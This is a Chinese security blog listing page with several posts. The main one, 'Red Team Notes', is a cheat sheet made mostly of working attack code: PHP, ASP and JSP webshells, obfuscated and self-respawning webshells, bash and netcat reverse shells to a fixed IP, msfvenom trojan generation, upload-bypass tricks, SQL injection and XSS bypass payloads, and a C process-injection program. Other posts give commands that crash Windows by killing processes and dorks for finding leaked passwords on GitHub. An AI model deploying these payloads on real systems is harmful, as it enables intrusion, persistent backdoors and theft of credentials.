首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-02-05
【每日随记】电脑有趣的小操作
难以删除的文件夹md 123..\仅内核级程序才具有删除此类文件的权限,普通的删除操作是无效的,因此,一般的木马程序不能删除这类文件,这样的文件保护可以有效地防止木马程序的侵或保护木马程序。Exe伪装成DLL文件运行当一个正常运行的exe程序的后缀名被修改为dll时,它将无法通过双击而正常运行,但是在命令行中运行该程序却是没有问题的。系统蓝屏taskkill /f /fi "pid ge 1"以管理员身份运行cmd,以上命令行强制终止所有PID大于等于1的进程,运行这段代码会导致关键系统进程终止,该命令会导致系统不稳定。taskkill /im svchost.exe /f以管理员身份运行cmd,用于终止名为svchost.exe的进程,/im 表示按名称终止,/f 表示强制终止进程,该命令会导致系统不稳定。wininit 以管理员身份运行powershell,该命令会导致系统不稳定。无法创建的文件名(CON、AUX、NUL…)echo test > C:\con.txt现象:Windows 下无法直接创建 con.txt、aux.txt、nul.txt 等文件。原因:这些是 DOS 时代的保留设备名,内核优先解析为设备而不是文件。解决:用 \\?\ 路径前缀绕过:echo test > \\?\C:\con.txt文件的“时间旅行”copy test.txt test2.txt复制出来的文件 test2.txt 有时修改时间比原文件更早。原因:FAT/NTFS 时间戳精度差异,复制时会四舍五入,看起来像“倒流”。影响:在取证或日志分析中可能导致时间线异常。零字节但占用空间的文件fsutil file createnew bigfile.txt 0现象:文件大小显示为 0,但属性里依然占用 4KB 左右空间。原因:磁盘以簇为单位分配,0 字节文件也至少要占一个簇。无限路径嵌套mklink /D C:\loop C:\loop现象:符号链接指向自身,进入后无限递归,资源管理器卡死。风险:备份或扫描软件可能因此崩溃。Alt+255 空格文件夹md "test[Alt+255]"现象:看起来是 test 文件夹,但实际末尾多了一个不可见字符。结果:输入 cd test 进不去,必须输入完整的不可见符号。桌面图标“幽灵重影”现象:删除文件后,桌面图标依然存在,双击提示“找不到文件”。原因:Explorer 图标缓存未刷新。解决:重建缓存:ie4uinit.exe -ClearIconCache
2022年02月05日
44 阅读
2 评论
15 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } ?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 0xC8, 0x00, 0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
2022-02-01
【每日随记】信息收集常用方法总结
子域名收集收集子域名可以扩大渗透范围,获得更多有关目标公司的资产信息,同一域名下的二级域名都属于目标范围,表现形式:域名加前缀,例如:域名 zkaq.cn 加前缀,abc.zkaq.cn。搜索引擎查找Google 搜索site: 搜索特定网站的内容,例如:site:example.com filetype: 搜索特定文件类型,例如:filetype:pdf intext: 搜索包含特定文本的页面,例如:intext:"artificial intelligence" inurl: 搜索包含特定URL关键字的页面,例如:inurl:news machine learning intitle: 搜索包含特定标题关键字的页面,例如:intitle:"neural networks" related: 查找与给定网站或主题相关的网站,例如:related:openai.org cache: 查看Google缓存的特定页面,例如:cache:openai.org link: 查找链接到特定网站的页面,例如:link:openai.org info: 获取有关特定网站的信息,例如:info:openai.org define: 查找单词的定义,例如:define:artificial intelligence allintext: 搜索同时包含多个指定关键词的页面,例如:allintext:openai artificial intelligence allinurl: 搜索同时包含多个指定URL关键字的页面,例如:allinurl:openai.org research papers allintitle: 搜索同时包含多个指定标题关键字的页面,例如:allintitle:introduction to machine learning pdf inanchor: 搜索含有特定锚文本的页面,例如:inanchor:openai 密码搜索: site:Github.com sa password site:Github.com root password site:Github.com User ID='sa';Password site:Github.com inurl:sql SVN 信息收集 site:Github.com svn site:Github.com svn username site:Github.com svn password site:Github.com svn username password 综合信息收集 site:Github.com password site:Github.com ftp ftppassword site:Github.com 密码 site:Github.com 内部后台搜索site:URL inurl:admin.php "admin.php"关键字的网页,这个语法通常用于查找管理员登录页面。 site:URL intitle:后台 "后台"关键字的网页,这个语法通常用于查找管理后台页面。 site:URL intext:后台 "后台"关键字的网页正文内容,这个语法通常用于查找包含敏感信息的页面。在线查询站长之家:http://tool.chinaz.com/ 在线子域名查询:https://phpinfo.me/domain/ 子域名扫描:https://www.t1h2ua.cn/tools/ dnsdumpster:https://dnsdumpster.com/ 查询网:https://site.ip138.com/ 爱站:http://dns.aizhan.com子域名挖掘工具SubDomainBrute工具: python3 subDomainsBrute.py -t 10 zkaq.cn -f subnames_full.txt -o 111.txt Sublist3r工具 python3 sublist3r -t 10 -b -d zkaq.cn OneForALL工具:python3 oneforall.py --target zkaq.cn run Wydomain工具:python wydomain.py -d zkaq.cn -o zkaq.txt FuzzDomain工具: 图形化的使用方式。SSL/TLS证书查询SSL/TLS安全评估报告:https://myssl.com crt.sh:https://crt.sh/ SPYSE:https://spyse.com/tools/ssl-lookup censy:https://censys.io/端口型站点收集收集端口型站点和收集子域名是一样的,都是扩大渗透范围,获得更多有关目标公司的资产信息,表现形式:域名后加【:端口号】,例如:域名 zkaq.cn 加后缀 zkaq.cn:8080。目录文件扫描目录扫描可以扫出来非常多重要的资源,比如目录型的站点,后台,敏感文件,比如.git文件泄露,.svn文件泄露,phpinfo泄露等等,表现形式:域名后加路径,例如:域名 zkaq.cn 加后缀 zkaq.cn/admin/admin.php。目录扫描工具御剑工具:图形化的使用方式。 7kbstorm工具:图形化的使用方式。 dirbuster工具:图形化的使用方式。 dirmap工具:python3 dirmap.py -i https://bbs.zkaq.cn -lcf dirsearch工具:python3 dirsearch.py -u https://www.zkaq.cn -e php gobuster工具:gobuster dir -u "https://bbs.zkaq.cn" -w "/root/tools/DirBrute/dirmap/data/fuzz_mode_dir.txt" -n -e -q --wildcardgithub搜索in:name huawei #仓库标题中含有关键字huawei in:descripton Huawei.com #仓库描述搜索含有关键字huawei in:readme huawei #Readme文件搜素含有关键字Huawei smtp 58.com password 3306 